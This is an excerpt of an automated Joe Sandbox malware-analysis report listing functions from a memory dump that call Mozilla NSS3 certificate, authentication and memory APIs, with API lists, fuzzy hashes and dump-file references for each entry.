PR_CallOnce.NSS3(6C7B14E4,6C71CC70), ref: 6C5D391C
PR_GetCurrentThread.NSS3 ref: 6C5D3977
memcpy.VCRUNTIME140(?,?,?), ref: 6C5D39A2
PR_GetCurrentThread.NSS3 ref: 6C5D39F2

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$CallOnceValuememcpystrchr
String ID:
API String ID: 892352074-0
Opcode ID: 3d69a6c0f255028fdfed1137de1cb62cb807cbf483526182d0594f7902b3a43f
Instruction ID: 311206cb4a1c53f8594be4eb8116f4916404f6f92f092e8ecf3c9427b9a71e2f
Opcode Fuzzy Hash: 3d69a6c0f255028fdfed1137de1cb62cb807cbf483526182d0594f7902b3a43f
Instruction Fuzzy Hash: DC411271A083018FD7109F3DDD48B6A77B4BF4A308F168669E88897B51E730E984CB99

Function 6C6CFFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6C6CFFE5

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6D0004
PR_EnterMonitor.NSS3(?), ref: 6C6D001B

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 6a47e24bc0e28269a45094143fabbac56a4322610f1a8ede83c67aa0a26e3e21
Instruction ID: e1df66cdfdcff840337f6f3681ef08d2f3bf5822fdea135648fcba63fcc0ea7e
Opcode Fuzzy Hash: 6a47e24bc0e28269a45094143fabbac56a4322610f1a8ede83c67aa0a26e3e21
Instruction Fuzzy Hash: 0D419770608680DBE7308A69DC557EB73A1EB8130CF55043DE45BCBE90E3B9B449C78A

Function 6C68EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C68EF38

Part of subcall function 6C679520: PK11_IsLoggedIn.NSS3(00000000,?,6C6A379E,?,00000001,?), ref: 6C679542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C68EF53

Part of subcall function 6C694C20: TlsGetValue.KERNEL32 ref: 6C694C4C
Part of subcall function 6C694C20: EnterCriticalSection.KERNEL32(?), ref: 6C694C60
Part of subcall function 6C694C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CA1
Part of subcall function 6C694C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C694CBE
Part of subcall function 6C694C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CD2
Part of subcall function 6C694C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D3A

PR_GetCurrentThread.NSS3 ref: 6C68EF9E

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

free.MOZGLUE(00000000), ref: 6C68EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C68F016
free.MOZGLUE(00000000), ref: 6C68F022

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 193e45471585095125124e0e9b92efe8fd013fe64773360420aa67faf0aa62ef
Instruction ID: 6273c486a7b59ef7c815cb76326d4a6e881225dcd703cd0e19cbf82bb2cd628d
Opcode Fuzzy Hash: 193e45471585095125124e0e9b92efe8fd013fe64773360420aa67faf0aa62ef
Instruction Fuzzy Hash: BC41B2B1E0120AAFDF018FA9DC44BEE7BB9AF49348F144025F914A6350E772C9158BB9

Function 6C664860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C664894

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6648CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6648DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6C6648FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C664912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C66494A

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: 2627065d2b2febc7dcd80c3fed7336729dc9c53d8eda749fcdafdd943b8c865a
Instruction ID: d191bc58d32f35d541201a852207e1d48aaef9390853898f2be124acaa6c8575
Opcode Fuzzy Hash: 2627065d2b2febc7dcd80c3fed7336729dc9c53d8eda749fcdafdd943b8c865a
Instruction Fuzzy Hash: 6A41C3706043056BE704CF6AD890BAB73E8AF85358F14062CEA5597B41F7B0D945CB5B

Function 6C67CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C67CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C67D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C67D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67D025
PR_NewLock.NSS3 ref: 6C67D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C67D074

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: b23781599df550cda2372c8b9a2b65f543ad1cbd4405802384db8e309a6b7860
Instruction ID: 79ea88b1fcbb8423cd0d8289845fd35db8351fd1248ed1845f97c588f3ae3957
Opcode Fuzzy Hash: b23781599df550cda2372c8b9a2b65f543ad1cbd4405802384db8e309a6b7860
Instruction Fuzzy Hash: C641E3B0A013019FDF20DF29C88878A7BE4EF08358F10596ADC198BB46D774D885CBB9

Function 6C6C3FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C3FF2

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C4001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6C6C400F

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6C6C4054

Part of subcall function 6C65BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C65BC24
Part of subcall function 6C65BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BC39
Part of subcall function 6C65BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C65BC58
Part of subcall function 6C65BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C65BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C4070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6C6C40CD

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 85cb7722eb0d43e6c1125bf58762c9f1fb40480b9f6c4d0355d9e319e4c27fe6
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 8A31C8B2F4034597EB00DF649D81BBA3364EF9170CF144225ED099B742FB71E96883AA

Function 6C662E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C652D1A), ref: 6C662E7E

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

PR_Now.NSS3 ref: 6C662EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C662EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C652D1A), ref: 6C662F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C652D1A), ref: 6C662F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C662F81

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 6b07c725085597f8747be8f02724ca0978570fab7e286339c927f80b8baa832b
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: CA31F3715411008BE710C657CC88BAEB365EF81358F64497AD42AA7ED0EB31988AC75F

Function 6C650E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C650A2C), ref: 6C650E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C650A2C), ref: 6C650E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C650A2C), ref: 6C650E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C650A2C), ref: 6C650E90
free.MOZGLUE(00000000), ref: 6C650EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C650A2C), ref: 6C650ED9

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: b42e53ac7ee77110eb8c45b4cd58700397d176c9b4692362ba96b9ccd07ee72f
Instruction ID: b54aa62a423b8e2f24136349cc35f578237e9facc757e54bbac3f2cfb7fd2587
Opcode Fuzzy Hash: b42e53ac7ee77110eb8c45b4cd58700397d176c9b4692362ba96b9ccd07ee72f
Instruction Fuzzy Hash: 2D216E73F0028557EB0049669C45BAB76AEDFC270CFB94435D81863A02FA70C83783AA

Function 6C65AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C65AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C65AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C779500), ref: 6C65AF23

Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C6AF0C8
Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6AF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65AF37

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: aa0b69d19508e017992ee436edc047c13a3ceb2722508d6493ee90bb48e1864c
Instruction ID: 76d532f6dcbbb6a60217a3de15781c23c83e5a06c9322c4e4e5371c539a706b7
Opcode Fuzzy Hash: aa0b69d19508e017992ee436edc047c13a3ceb2722508d6493ee90bb48e1864c
Instruction Fuzzy Hash: 56213AB19092006BEB108F18DC41BAA7BE4AF8572CF644319FC54AB782E732D51587BF

Function 6C6DEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6DEE85
realloc.MOZGLUE(16F469E3,?), ref: 6C6DEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C6DEEC5

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

htonl.WSOCK32(?), ref: 6C6DEEE3
htonl.WSOCK32(00000000,?), ref: 6C6DEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C6DEF01

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: b5986fb3c061f71d80fb6bf1c7899f0a1a922aff16bf67deae3f716e92876cab
Instruction ID: c935de0a551343cf15088d4e7650486b74cf4b0846231a25548422a6cf3a3da1
Opcode Fuzzy Hash: b5986fb3c061f71d80fb6bf1c7899f0a1a922aff16bf67deae3f716e92876cab
Instruction Fuzzy Hash: 7021D371A002159FCF109F28DC8479AB7A4EF89358F158179EC199B641E730FC15CBEA

Function 6C657F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C657F68

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C657F7B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C657FA7

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C77919C,?), ref: 6C657FBB

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C657FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C77915C,00000014), ref: 6C657FFE

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 7c80116befb4ab5bd66cefca500d98078af11813fb09b1da8ffaddcae76cb2e9
Instruction ID: 7c203b54db82ad3a88a40cc6c6df7f62eeea3152c088f7e93030573c2ee79624
Opcode Fuzzy Hash: 7c80116befb4ab5bd66cefca500d98078af11813fb09b1da8ffaddcae76cb2e9
Instruction Fuzzy Hash: 591157B1D042086AE710DA25AD44FBB72ACDF4564CF500629FC59D2B41F721A968C2BE

Function 6C65BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C6DDC29,?), ref: 6C65BE64

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C6DDC29,?), ref: 6C65BE78

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C6DDC29,?), ref: 6C65BE96

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C6DDC29,?), ref: 6C65BEBB

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C6DDC29,?), ref: 6C65BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C6DDC29,?), ref: 6C65BEF3

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
